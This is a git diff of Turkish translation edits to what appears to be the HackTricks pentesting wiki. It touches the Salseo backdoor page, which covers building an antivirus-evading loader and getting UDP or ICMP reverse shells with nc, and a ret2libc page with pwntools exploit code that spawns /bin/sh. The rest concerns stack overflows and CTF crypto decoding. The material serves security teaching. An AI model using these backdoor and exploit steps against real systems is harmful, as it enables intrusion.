diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 53398bb51..cac3fa3dc 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -284,8 +284,10 @@ - [Places to steal NTLM creds](windows-hardening/ntlm/places-to-steal-ntlm-creds.md) - [Lateral Movement](windows-hardening/lateral-movement/README.md) - [AtExec / SchtasksExec](windows-hardening/lateral-movement/atexec.md) - - [DCOM Exec](windows-hardening/lateral-movement/dcom-exec.md) + - [DCOM Exec](windows-hardening/lateral-movement/dcomexec.md) - [PsExec/Winexec/ScExec](windows-hardening/lateral-movement/psexec-and-winexec.md) + - [RDPexec](windows-hardening/lateral-movement/rdpexec.md) + - [SCMexec](windows-hardening/lateral-movement/scmexec.md) - [SmbExec/ScExec](windows-hardening/lateral-movement/smbexec.md) - [WinRM](windows-hardening/lateral-movement/winrm.md) - [WmiExec](windows-hardening/lateral-movement/wmiexec.md) @@ -299,6 +301,7 @@ - [PowerView/SharpView](windows-hardening/basic-powershell-for-pentesters/powerview.md) - [Antivirus (AV) Bypass](windows-hardening/av-bypass.md) - [Cobalt Strike](windows-hardening/cobalt-strike.md) +- [Mythic](windows-hardening/mythic.md) # 📱 Mobile Pentesting diff --git a/src/backdoors/salseo.md b/src/backdoors/salseo.md index ac6ebe4c5..8285d6208 100644 --- a/src/backdoors/salseo.md +++ b/src/backdoors/salseo.md @@ -6,21 +6,21 @@ Github'dan kaynak kodunu indirin ve **EvilSalsa** ile **SalseoLoader**'ı derleyin. Kodu derlemek için **Visual Studio**'nun yüklü olması gerekmektedir. -Bu projeleri, kullanacağınız Windows kutusunun mimarisi için derleyin (Eğer Windows x64 destekliyorsa, bu mimariler için derleyin). +Bu projeleri, kullanacağınız Windows kutusunun mimarisi için derleyin (Eğer Windows x64 destekliyorsa, o mimari için derleyin). **Mimariyi seçebilirsiniz** Visual Studio'da **sol "Build" Sekmesi** içindeki **"Platform Target"** kısmında. -(\*\*Bu seçenekleri bulamazsanız **"Project Tab"**'ına tıklayın ve ardından **"\ Properties"**'e tıklayın) +(**Bu seçenekleri bulamazsanız **"Project Tab"**'ına tıklayın ve ardından **"\ Properties"**'e tıklayın) ![](<../images/image (132).png>) -Sonra, her iki projeyi de derleyin (Build -> Build Solution) (Kayıtlarda çalıştırılabilir dosyanın yolu görünecektir): +Sonra, her iki projeyi de derleyin (Build -> Build Solution) (Kayıtlar içinde çalıştırılabilir dosyanın yolu görünecektir): ![](<../images/image (1) (2) (1) (1) (1).png>) ## Arka Kapıyı Hazırlama -Öncelikle, **EvilSalsa.dll**'yi kodlamanız gerekecek. Bunu yapmak için, **encrypterassembly.py** python betiğini kullanabilir veya **EncrypterAssembly** projesini derleyebilirsiniz: +Öncelikle, **EvilSalsa.dll**'yı kodlamanız gerekecek. Bunu yapmak için, **encrypterassembly.py** python betiğini kullanabilir veya **EncrypterAssembly** projesini derleyebilirsiniz: ### **Python** ``` @@ -32,7 +32,7 @@ python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa. EncrypterAssembly.exe EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt ``` -Tamam, şimdi Salseo işlemlerini gerçekleştirmek için her şeye sahipsin: **encoded EvilDalsa.dll** ve **SalseoLoader'ın binary'si.** +Tamam, şimdi Salseo ile ilgili her şeyi gerçekleştirmek için her şeye sahipsin: **encoded EvilDalsa.dll** ve **SalseoLoader'ın binary'si.** **SalseoLoader.exe binary'sini makineye yükle. Hiçbir antivirüs tarafından tespit edilmemelidir...** @@ -50,7 +50,7 @@ Ters shell dinleyicisi olarak bir nc başlatmayı ve kodlanmış evilsalsa'yı s ``` SalseoLoader.exe password \\/folder/evilsalsa.dll.txt reverseudp ``` -### **ICMP ters shell almak (şifrelenmiş dll zaten kurbanın içinde)** +### **ICMP ters shell almak (kurbanın içinde kodlanmış dll zaten mevcut)** **Bu sefer ters shell almak için istemcide özel bir araca ihtiyacınız var. İndirin:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh) @@ -61,7 +61,7 @@ sysctl -w net.ipv4.icmp_echo_ignore_all=1 #You finish, you can enable it again running: sysctl -w net.ipv4.icmp_echo_ignore_all=0 ``` -#### İstemciyi çalıştırın: +#### İstemciyi çalıştır: ``` python icmpsh_m.py "" "" ``` @@ -83,7 +83,7 @@ SalseoLoader projesini Visual Studio ile açın. ![](<../images/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) -#### **DllExport paketini arayın (Gözat sekmesini kullanarak) ve Yükle'ye basın (ve açılan pencerede kabul edin)** +#### **DllExport paketini arayın (Gözat sekmesini kullanarak) ve Yükle'ye basın (ve açılan pencereyi kabul edin)** ![](<../images/image (4) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) @@ -121,7 +121,7 @@ Sonra, **SalseoLoader klasörünüze** gidin ve **DllExport_Configure.bat**'ı ![](<../images/image (9) (1) (1).png>) -Çözümü **derlemek için**: Derle --> Çözümü Derle (Çıktı konsolunda yeni DLL'nin yolu görünecektir) +Çözümü **derlemek** için: Derle --> Çözümü Derle (Çıktı konsolunda yeni DLL'nin yolu görünecektir) ### Üretilen Dll'yi test edin @@ -135,7 +135,7 @@ Eğer hata görünmüyorsa, muhtemelen işlevsel bir DLL'niz var!! ## DLL kullanarak bir shell alın -Bir **HTTP** **sunucusu** kullanmayı ve bir **nc** **dinleyicisi** ayarlamayı unutmayın +Bir **HTTP** **sunucusu** kullanmayı ve bir **nc** **dinleyicisi** ayarlamayı unutmayın. ### Powershell ``` diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md index 0e10a4a0d..486441e72 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/README.md @@ -9,7 +9,7 @@ 3. Önceki gadget'ları kullanarak puts veya başka bir libc fonksiyonunun **bellek adresini sızdır** ve **libc sürümünü bul** ([indirin](https://libc.blukat.me)) 4. Kütüphane ile, **ROP'u hesapla ve istismar et** -## Pratik yapmak için diğer eğitimler ve ikili dosyalar +## Pratik için diğer eğitimler ve ikili dosyalar Bu eğitim, bu eğitimde önerilen kod/ikili dosyayı istismar edecek: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)\ Diğer yararlı eğitimler: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/), [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html) @@ -42,7 +42,7 @@ rop-leaking-libc-template.md ## 1- Ofseti Bulma -Şablon, exploit'e devam etmeden önce bir ofsete ihtiyaç duyar. Herhangi bir ofset sağlanırsa, onu bulmak için gerekli kodu çalıştıracaktır (varsayılan olarak `OFFSET = ""`): +Şablon, exploit'e devam etmeden önce bir ofsete ihtiyaç duyar. Herhangi bir ofset sağlanırsa, bunu bulmak için gerekli kodu çalıştıracaktır (varsayılan olarak `OFFSET = ""`): ```bash ################### ### Find offset ### @@ -57,7 +57,7 @@ r.sendline(payload) #cyclic_find(0x6161616b) # Find the offset of those bytes return ``` -**Çalıştır** `python template.py` bir GDB konsolu açılacak ve program çökertilecektir. O **GDB konsolu** içinde `x/wx $rsp` komutunu çalıştırarak RIP'i geçecek olan **baytları** al. Son olarak, bir **python** konsolu kullanarak **offset**'i al: +**Çalıştır** `python template.py`, bir GDB konsolu açılacak ve program çökertilecektir. O **GDB konsolu** içinde `x/wx $rsp` komutunu çalıştırarak RIP'i geçecek olan **baytları** al. Son olarak, bir **python** konsolu kullanarak **offset** değerini al: ```python from pwn import * cyclic_find(0x6161616b) @@ -83,14 +83,14 @@ log.info("Puts plt: " + hex(PUTS_PLT)) log.info("pop rdi; ret gadget: " + hex(POP_RDI)) ``` `PUTS_PLT`, **puts** fonksiyonunu çağırmak için gereklidir.\ -`MAIN_PLT`, bir etkileşimden sonra **main function**'ı tekrar çağırmak için gereklidir, böylece taşmayı **tekrar** **istismar** edebiliriz (sonsuz istismar turları). **Her ROP'un sonunda programı tekrar çağırmak için kullanılır.**\ +`MAIN_PLT`, bir etkileşimden sonra **overflow**'u **tekrar** **istismar** etmek için **main function**'ı tekrar çağırmak için gereklidir (sonsuz istismar turları). **Her ROP'un sonunda programı tekrar çağırmak için kullanılır**.\ **POP_RDI**, çağrılan fonksiyona bir **parametre** **geçmek** için gereklidir. Bu adımda hiçbir şey çalıştırmanıza gerek yoktur, çünkü her şey pwntools tarafından yürütme sırasında bulunacaktır. ## 3- libc kütüphanesini bulma -Artık hangi **libc** kütüphanesi sürümünün kullanıldığını bulma zamanı. Bunu yapmak için, **puts** fonksiyonunun bellek adresini **sızdıracağız** ve ardından bu adreste hangi **kütüphane sürümü** içinde puts sürümünün olduğunu **arama** yapacağız. +Artık hangi sürüm **libc** kütüphanesinin kullanıldığını bulma zamanı. Bunu yapmak için, **puts** fonksiyonunun bellek adresini **sızdıracağız** ve ardından bu adreste hangi **kütüphane sürümü** içinde puts sürümünün bulunduğunu **arama** yapacağız. ```python def get_addr(func_name): FUNC_GOT = elf.got[func_name] @@ -124,16 +124,16 @@ Bunu yapmak için, yürütülen kodun en önemli satırı şudur: rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) ``` Bu, bazı baytları **RIP**'i **aşındırmak** mümkün olana kadar gönderecektir: `OFFSET`.\ -Sonra, `POP_RDI` gadget'ının **adresini** ayarlayacak, böylece bir sonraki adres (`FUNC_GOT`) **RDI** kaydında saklanacaktır. Bunun nedeni, **puts**'u **çağırmak** ve ona `PUTS_GOT`'ın **adresini** geçmektir çünkü puts fonksiyonunun bellek içindeki adresi `PUTS_GOT` tarafından işaret edilen adreste saklanmaktadır.\ -Bundan sonra, `PUTS_PLT` çağrılacak (içinde **RDI**'de `PUTS_GOT` ile) böylece puts, `PUTS_GOT` içindeki **içeriği** **okuyacak** (**puts fonksiyonunun bellek içindeki adresi**) ve **bunu yazdıracaktır**.\ +Sonra, `POP_RDI` gadget'ının **adresini** ayarlayacak, böylece bir sonraki adres (`FUNC_GOT`) **RDI** kaydına kaydedilecektir. Bunun nedeni, **puts**'u **çağırmak** istememizdir ve ona `PUTS_GOT`'ın **adresini** geçiyoruz çünkü puts fonksiyonunun bellek adresi `PUTS_GOT` tarafından işaret edilen adreste saklanmaktadır.\ +Bundan sonra, `PUTS_PLT` çağrılacak (içinde **RDI**'de `PUTS_GOT` ile) böylece puts, `PUTS_GOT` içindeki içeriği (**puts fonksiyonunun bellek adresi**) **okuyacak** ve **yazdıracaktır**.\ Son olarak, **ana fonksiyon tekrar çağrılır** böylece taşmayı tekrar istismar edebiliriz. -Bu şekilde, **puts fonksiyonunu** **belirli bir adresi** **bellekte** **yazdırması** için **kandırdık** (bu, **libc** kütüphanesi içindedir). Artık bu adrese sahip olduğumuza göre, **hangi libc sürümünün kullanıldığını arayabiliriz**. +Bu şekilde, **puts fonksiyonunu** **belirli bir adresi** **yazdırması** için **kandırdık** (**libc** kütüphanesinde bulunan puts fonksiyonunun bellek adresi). Artık bu adrese sahip olduğumuza göre, **hangi libc sürümünün kullanıldığını arayabiliriz**. ![](<../../../../images/image (1049).png>) -**Yerel** bir ikiliyi **istismar ettiğimiz** için, hangi **libc** sürümünün kullanıldığını bulmamıza **gerek yoktur** (sadece `/lib/x86_64-linux-gnu/libc.so.6` içindeki kütüphaneyi bul).\ -Ancak, uzaktan bir istismar durumunda, bunu nasıl bulabileceğinizi burada açıklayacağım: +**Yerel** bir ikiliyi **istismar** ettiğimiz için, hangi **libc** sürümünün kullanıldığını bulmamız **gerekmez** (sadece `/lib/x86_64-linux-gnu/libc.so.6` içindeki kütüphaneyi bulmak yeterlidir).\ +Ancak, uzaktan bir istismar durumunda bunu nasıl bulabileceğinizi burada açıklayacağım: ### 3.1- libc sürümünü arama (1) @@ -183,11 +183,11 @@ gets ``` ## 4- Bulunma temelli libc adresi ve istismar -Bu noktada kullanılan libc kütüphanesini bilmemiz gerekiyor. Yerel bir ikiliyi istismar ettiğimiz için sadece şunu kullanacağım: `/lib/x86_64-linux-gnu/libc.so.6` +Bu noktada kullandığımız libc kütüphanesini bilmemiz gerekiyor. Yerel bir ikiliyi istismar ettiğimiz için sadece şunu kullanacağım: `/lib/x86_64-linux-gnu/libc.so.6` Bu nedenle, `template.py` dosyasının başında **libc** değişkenini şuna değiştirin: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Kütüphane yolunu bildiğinizde ayarlayın` -**libc kütüphanesine** **yol** vererek, geri kalan **istismar otomatik olarak hesaplanacak**. +**libc kütüphanesine** **yolu** vererek, geri kalan **istismar otomatik olarak hesaplanacak**. `get_addr` fonksiyonu içinde **libc'nin temel adresi** hesaplanacak: ```python @@ -196,9 +196,9 @@ libc.address = leak - libc.symbols[func_name] #Save libc base log.info("libc base @ %s" % hex(libc.address)) ``` > [!NOTE] -> **Son libc temel adresinin 00 ile bitmesi gerektiğini** unutmayın. Eğer durumunuz böyle değilse, yanlış bir kütüphane sızdırmış olabilirsiniz. - -Daha sonra, `system` fonksiyonunun adresi ve **adres** _"/bin/sh"_ dizesi **libc'nin temel adresinden** hesaplanacak ve **libc kütüphanesine** verilecektir. +> **Son libc temel adresinin 00 ile bitmesi gerektiğini** unutmayın. Eğer durumunuz böyle değilse, yanlış bir kütüphane sızdırmış olabilirsiniz. +> +> Ardından, `system` fonksiyonunun adresi ve **adres** _"/bin/sh"_ dizesi **libc'nin temel adresinden** hesaplanacak ve **libc kütüphanesi** verilecektir. ```python BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh SYSTEM = libc.sym["system"] @@ -218,26 +218,26 @@ p.sendline(rop2) p.interactive() #Interact with the conenction ``` Son ROP'u açıklayalım.\ -Son ROP (`rop1`), ana fonksiyonu tekrar çağırarak sona erdi, bu yüzden **yine istismar edebiliriz** **overflow** (bu yüzden `OFFSET` burada tekrar var). Ardından, **"/bin/sh"** (_BINSH_) adresine işaret eden `POP_RDI`'yi çağırmak istiyoruz ve **system** fonksiyonunu (`SYSTEM`) çağırmak istiyoruz çünkü _"/bin/sh"_ adresi bir parametre olarak geçecektir.\ +Son ROP (`rop1`), ana fonksiyonu tekrar çağırarak sona erdi, bu yüzden **yine istismar edebiliriz** **overflow** (bu yüzden `OFFSET` burada tekrar var). Ardından, **addres** _"/bin/sh"_ (`BINSH`) işaret eden `POP_RDI`'yi çağırmak ve **system** fonksiyonunu (`SYSTEM`) çağırmak istiyoruz çünkü _"/bin/sh"_ adresi bir parametre olarak geçilecektir.\ Son olarak, **çıkış fonksiyonunun adresi** **çağrılır** böylece işlem **güzel bir şekilde çıkar** ve herhangi bir uyarı üretilmez. -**Bu şekilde istismar bir \_/bin/sh**\_\*\* shell'i çalıştıracaktır.\*\* +**Bu şekilde istismar bir _/bin/sh_ shell'i çalıştıracaktır.** ![](<../../../../images/image (165).png>) ## 4(2)- ONE_GADGET KULLANARAK Ayrıca [**ONE_GADGET** ](https://github.com/david942j/one_gadget) kullanarak **system** ve **"/bin/sh"** yerine bir shell elde edebilirsiniz. **ONE_GADGET**, libc kütüphanesi içinde sadece bir **ROP adresi** kullanarak bir shell elde etmenin bir yolunu bulacaktır.\ -Ancak, genellikle bazı kısıtlamalar vardır, en yaygın ve kolayca aşılabilenler `[rsp+0x30] == NULL` gibidir. **RSP** içindeki değerleri kontrol ettiğiniz için, kısıtlamanın aşılması için sadece biraz daha NULL değeri göndermeniz yeterlidir. +Ancak, genellikle bazı kısıtlamalar vardır, en yaygın ve kolayca kaçınılabilenler `[rsp+0x30] == NULL` gibidir. **RSP** içindeki değerleri kontrol ettiğiniz için, kısıtlamanın aşılması için sadece biraz daha NULL değeri göndermeniz yeterlidir. ![](<../../../../images/image (754).png>) ```python ONE_GADGET = libc.address + 0x4526a rop2 = base + p64(ONE_GADGET) + "\x00"*100 ``` -## İSTİSMAR DOSYASI +## EXPLOIT DOSYASI -Bu güvenlik açığını istismar etmek için bir şablon burada bulunabilir: +Bu güvenlik açığını istismar etmek için bir şablonu burada bulabilirsiniz: {{#ref}} rop-leaking-libc-template.md diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index 4dfb5371f..ed06141c5 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -4,13 +4,13 @@ ## What is a Stack Overflow -Bir **stack overflow**, bir programın yığın (stack) için ayrılan alandan daha fazla veri yazdığında meydana gelen bir güvenlik açığıdır. Bu fazla veri, **komşu bellek alanını üzerine yazarak**, geçerli verilerin bozulmasına, kontrol akışının kesintiye uğramasına ve potansiyel olarak kötü niyetli kodun çalıştırılmasına yol açar. Bu sorun genellikle, girdi üzerinde sınır kontrolü yapmayan güvensiz fonksiyonların kullanılmasından kaynaklanır. +Bir **stack overflow**, bir programın yığın (stack) için ayrılan alandan daha fazla veri yazdığında meydana gelen bir güvenlik açığıdır. Bu fazla veri, **komşu bellek alanını üzerine yazarak**, geçerli verilerin bozulmasına, kontrol akışının kesilmesine ve potansiyel olarak kötü niyetli kodun çalıştırılmasına yol açar. Bu sorun genellikle, girdi üzerinde sınır kontrolü yapmayan güvensiz fonksiyonların kullanılmasından kaynaklanır. -Bu üzerine yazmanın ana sorunu, **kayıtlı talimat işaretçisi (EIP/RIP)** ve önceki fonksiyona dönmek için **kayıtlı temel işaretçi (EBP/RBP)** değerlerinin **yığın üzerinde saklanmasıdır**. Bu nedenle, bir saldırgan bu değerleri üzerine yazabilir ve **programın yürütme akışını kontrol edebilir**. +Bu üzerine yazmanın ana sorunu, **kaydedilmiş talimat işaretçisi (EIP/RIP)** ve önceki fonksiyona dönmek için **kaydedilmiş temel işaretçi (EBP/RBP)** değerlerinin **yığın üzerinde saklanmasıdır**. Bu nedenle, bir saldırgan bu değerleri üzerine yazarak **programın yürütme akışını kontrol edebilir**. -Güvenlik açığı genellikle bir fonksiyonun **yığının içine ayrılan miktardan daha fazla bayt kopyalaması** nedeniyle ortaya çıkar ve bu da yığının diğer kısımlarını üzerine yazmasına olanak tanır. +Güvenlik açığı genellikle bir fonksiyonun **yığının içine ayrılan miktardan daha fazla bayt kopyalaması** nedeniyle ortaya çıkar, bu da yığının diğer kısımlarını üzerine yazmasına olanak tanır. -Buna karşı duyarlı bazı yaygın fonksiyonlar şunlardır: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ayrıca, **`fgets`**, **`read` & `memcpy`** gibi **uzunluk argümanı** alan fonksiyonlar, belirtilen uzunluk ayrılan miktardan büyükse, savunmasız bir şekilde kullanılabilir. +Buna karşı duyarlı bazı yaygın fonksiyonlar şunlardır: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ayrıca, **`fgets`**, **`read` & `memcpy`** gibi **uzunluk argümanı** alan fonksiyonlar, belirtilen uzunluk ayrılan uzunluktan büyükse, savunmasız bir şekilde kullanılabilir. Örneğin, aşağıdaki fonksiyonlar savunmasız olabilir: ```c @@ -25,11 +25,11 @@ printf("You entered: %s\n", buffer); Stack overflow'ları bulmanın en yaygın yolu, çok büyük bir `A` girişi vermektir (örneğin, `python3 -c 'print("A"*1000)'`) ve **`0x41414141` adresinin erişilmeye çalışıldığını** belirten bir `Segmentation Fault` beklemektir. -Ayrıca, Stack Overflow zafiyetini bulduktan sonra, **geri dönüş adresini** yazmak için gereken ofseti bulmanız gerekecek; bunun için genellikle bir **De Bruijn dizisi** kullanılır. Verilen bir _k_ boyutundaki alfabede ve _n_ uzunluğundaki alt diziler için, bu, **herhangi bir _n_ uzunluğundaki alt dizinin tam olarak bir kez** bitişik bir alt dizi olarak göründüğü **döngüsel bir dizidir.** +Ayrıca, Stack Overflow zafiyetinin bulunduğunu tespit ettikten sonra, **geri dönüş adresini** geçersiz kılmak için gereken ofseti bulmanız gerekecek; bunun için genellikle bir **De Bruijn dizisi** kullanılır. Verilen bir _k_ boyutundaki alfabede ve _n_ uzunluğundaki alt diziler için, bu, **herhangi bir _n_ uzunluğundaki alt dizinin tam olarak bir kez göründüğü** döngüsel bir dizidir. -Bu şekilde, EIP'yi kontrol etmek için hangi ofsetin gerektiğini elle bulmak yerine, bu dizilerden birini dolgu olarak kullanmak ve ardından onu yazmayı bitiren baytların ofsetini bulmak mümkündür. +Bu şekilde, EIP'yi kontrol etmek için gereken ofseti elle bulmak yerine, bu dizilerden birini dolgu olarak kullanmak ve ardından onu geçersiz kılan baytların ofsetini bulmak mümkündür. -Bunun için **pwntools** kullanmak mümkündür: +Bunun için **pwntools** kullanılabilir: ```python from pwn import * @@ -48,24 +48,24 @@ pattern create 200 #Generate length 200 pattern pattern search "avaaawaa" #Search for the offset of that substring pattern search $rsp #Search the offset given the content of $rsp ``` -## Yığın Taşmalarını Sömürme +## Stack Overflow'ların Sömürülmesi -Bir taşma sırasında (taşma boyutunun yeterince büyük olduğunu varsayarsak) yığın içindeki yerel değişkenlerin **değerlerini** **üst üste yazma** imkanına sahip olacaksınız, bu da kaydedilmiş **EBP/RBP ve EIP/RIP'ye (veya daha fazlasına)** ulaşana kadar devam eder.\ -Bu tür bir zafiyeti istismar etmenin en yaygın yolu, **dönüş adresini değiştirmektir**, böylece fonksiyon sona erdiğinde **kontrol akışı kullanıcının belirttiği yere yönlendirilecektir**. +Bir taşma sırasında (taşma boyutunun yeterince büyük olduğunu varsayarsak) **yerel değişkenlerin** değerlerini yığın içinde **EBP/RBP ve EIP/RIP'yi (veya daha fazlasını)** kaydedene kadar **üst üste yazma** işlemi yapabileceksiniz.\ +Bu tür bir güvenlik açığını istismar etmenin en yaygın yolu, **dönüş adresini değiştirmektir**, böylece fonksiyon sona erdiğinde **kontrol akışı kullanıcının bu işaretçide belirttiği yere yönlendirilecektir**. -Ancak, diğer senaryolarda sadece yığın içindeki bazı değişkenlerin değerlerini **üst üste yazmak** istismar için yeterli olabilir (örneğin, kolay CTF zorluklarında). +Ancak, diğer senaryolarda sadece **yığın içindeki bazı değişkenlerin değerlerini üst üste yazmak** istismar için yeterli olabilir (örneğin, kolay CTF zorluklarında). ### Ret2win -Bu tür CTF zorluklarında, **asla çağrılmayan** ve **kazanmak için çağırmanız gereken** bir **fonksiyon** **binary** içinde bulunmaktadır. Bu zorluklar için sadece **dönüş adresini üst üste yazmak için ofseti bulmanız** ve **çağırmak için fonksiyonun adresini bulmanız** gerekir (genellikle [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) devre dışı bırakılmış olacaktır) böylece savunmasız fonksiyon döndüğünde, gizli fonksiyon çağrılacaktır: +Bu tür CTF zorluklarında, ikili dosya içinde **asla çağrılmayan** bir **fonksiyon** vardır ve **kazanmak için bu fonksiyonu çağırmanız gerekir**. Bu zorluklar için sadece **dönüş adresini üst üste yazmak için ofseti bulmanız** ve **çağırılacak fonksiyonun adresini bulmanız** gerekir (genellikle [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) devre dışı bırakılmış olacaktır) böylece savunmasız fonksiyon döndüğünde, gizli fonksiyon çağrılacaktır: {{#ref}} ret2win/ {{#endref}} -### Yığın Shellcode +### Yığın Shellcode'u -Bu senaryoda, saldırgan yığında bir shellcode yerleştirebilir ve kontrol edilen EIP/RIP'i kullanarak shellcode'a atlayıp rastgele kod çalıştırabilir: +Bu senaryoda saldırgan, yığında bir shellcode yerleştirebilir ve kontrol edilen EIP/RIP'i kullanarak shellcode'a atlayıp rastgele kod çalıştırabilir: {{#ref}} stack-shellcode/ @@ -73,7 +73,7 @@ stack-shellcode/ ### ROP & Ret2... teknikleri -Bu teknik, önceki tekniğin ana korumasını aşmak için temel çerçevedir: **Çalıştırılamaz yığın (NX)**. Ve mevcut talimatları istismar ederek rastgele komutlar çalıştıracak birkaç başka tekniği (ret2lib, ret2syscall...) gerçekleştirmeye olanak tanır: +Bu teknik, önceki tekniğin ana korumasını aşmak için temel çerçevedir: **Çalıştırılabilir yığın yok (NX)**. Ve mevcut ikili dosyadaki talimatları istismar ederek rastgele komutlar çalıştırmayı sağlayan birkaç başka tekniği (ret2lib, ret2syscall...) gerçekleştirmeye olanak tanır: {{#ref}} ../rop-return-oriented-programing/ @@ -89,7 +89,7 @@ Bir taşma her zaman yığında olmayabilir, örneğin **yığın** içinde de o ## Koruma Türleri -Zafiyetlerin istismarını önlemeye çalışan çeşitli korumalar vardır, bunları kontrol edin: +Güvenlik açıklarının istismarını önlemeye çalışan çeşitli korumalar vardır, bunları kontrol edin: {{#ref}} ../common-binary-protections-and-bypasses/ diff --git a/src/crypto-and-stego/crypto-ctfs-tricks.md b/src/crypto-and-stego/crypto-ctfs-tricks.md index 12eb22f99..0fb5c89b5 100644 --- a/src/crypto-and-stego/crypto-ctfs-tricks.md +++ b/src/crypto-and-stego/crypto-ctfs-tricks.md @@ -4,7 +4,7 @@ ## Online Hashes DBs -- _**Google'la ara**_ +- _**Google'la arayın**_ - [http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240](http://hashtoolkit.com/reverse-hash?hash=4d186321c1a7f0f354b297e8914ab240) - [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) - [https://crackstation.net/](https://crackstation.net) @@ -178,13 +178,13 @@ drnajapajrna ### A1Z26 -Harfleri sayısal değerlerine dönüştürme +Harflerin sayısal değeri ``` 8 15 12 1 3 1 18 1 3 15 12 1 ``` ### Affine Cipher Encode -Harfı numaraya `(ax+b)%26` (_a_ ve _b_ anahtarlar ve _x_ harf) ve sonucu tekrar harfe çevirin. +Harfı numaraya `(ax+b)%26` (_a_ ve _b_ anahtarlar ve _x_ harf) ve sonucu tekrar harfe çevir. ``` krodfdudfrod ``` @@ -192,7 +192,7 @@ krodfdudfrod **Multitap** [bir harfi](https://www.dcode.fr/word-letter-change) mobil [telefon tuş takımı](https://www.dcode.fr/phone-keypad-cipher) üzerindeki karşılık gelen tuş kodu ile tanımlanan tekrar eden rakamlarla değiştirir (Bu mod SMS yazarken kullanılır).\ Örneğin: 2=A, 22=B, 222=C, 3=D...\ -Bu kodu tanıyabilirsiniz çünkü\*\* birkaç rakamın tekrarlandığını\*\* göreceksiniz. +Bu kodu tanıyabilirsiniz çünkü **birden fazla rakamın tekrarlandığını** göreceksiniz. Bu kodu şurada çözebilirsiniz: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) @@ -207,13 +207,13 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA ![](../images/runes.jpg) -## Compression +## Sıkıştırma **Raw Deflate** ve **Raw Inflate** (her ikisini de Cyberchef'te bulabilirsiniz) başlık olmadan verileri sıkıştırabilir ve açabilir. -## Easy Crypto +## Kolay Kripto -### XOR - Autosolver +### XOR - Otomatik Çözücü - [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/) diff --git a/src/cryptography/crypto-ctfs-tricks.md b/src/cryptography/crypto-ctfs-tricks.md index 6f75d2d26..3f2268632 100644 --- a/src/cryptography/crypto-ctfs-tricks.md +++ b/src/cryptography/crypto-ctfs-tricks.md @@ -25,7 +25,7 @@ ## Encoders -Çoğu kodlanmış veri bu 2 kaynakla çözülebilir: +Kodlanmış verilerin çoğu bu 2 kaynakla çözülebilir: - [https://www.dcode.fr/tools-list](https://www.dcode.fr/tools-list) - [https://gchq.github.io/CyberChef/](https://gchq.github.io/CyberChef/) @@ -154,8 +154,6 @@ end ryvkryvkryvkryvkryvkryvkryvk =yend size=28 crc32=35834c86 ``` -- [http://www.webutils.pl/index.php?idx=yenc](http://www.webutils.pl/index.php?idx=yenc) - ### BinHex ``` (This file must be converted with BinHex 4.0) @@ -192,9 +190,9 @@ krodfdudfrod **Multitap** [bir harfi](https://www.dcode.fr/word-letter-change) mobil [telefon tuş takımı](https://www.dcode.fr/phone-keypad-cipher) üzerindeki karşılık gelen tuş kodu ile tanımlanan tekrar eden rakamlarla değiştirir (Bu mod SMS yazarken kullanılır).\ Örneğin: 2=A, 22=B, 222=C, 3=D...\ -Bu kodu tanıyabilirsiniz çünkü\*\* birkaç rakamın tekrarlandığını\*\* göreceksiniz. +Bu kodu tanıyabilirsiniz çünkü **birden fazla rakamın tekrarlandığını** göreceksiniz. -Bu kodu şuradan çözebilirsiniz: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) +Bu kodu şurada çözebilirsiniz: [https://www.dcode.fr/multitap-abc-cipher](https://www.dcode.fr/multitap-abc-cipher) ### Bacon Kodu @@ -207,19 +205,19 @@ AABBB ABBAB ABABA AAAAA AAABA AAAAA BAAAA AAAAA AAABA ABBAB ABABA AAAAA ![](../images/runes.jpg) -## Compression +## Sıkıştırma **Raw Deflate** ve **Raw Inflate** (her ikisini de Cyberchef'te bulabilirsiniz) başlık olmadan verileri sıkıştırabilir ve açabilir. -## Easy Crypto +## Kolay Kripto -### XOR - Autosolver +### XOR - Otomatik Çözücü - [https://wiremask.eu/tools/xor-cracker/](https://wiremask.eu/tools/xor-cracker/) ### Bifid -Bir anahtar kelime gereklidir. +Bir anahtar kelime gereklidir ``` fgaargaamnlunesuneoa ``` @@ -249,7 +247,7 @@ Key: ### Samir Gizli Paylaşımı -Bir gizli bilgi X parçaya bölünür ve onu geri kazanmak için Y parçaya ihtiyacınız vardır (_Y <=X_). +Bir gizli X parçaya bölünür ve onu geri almak için Y parçaya ihtiyacınız 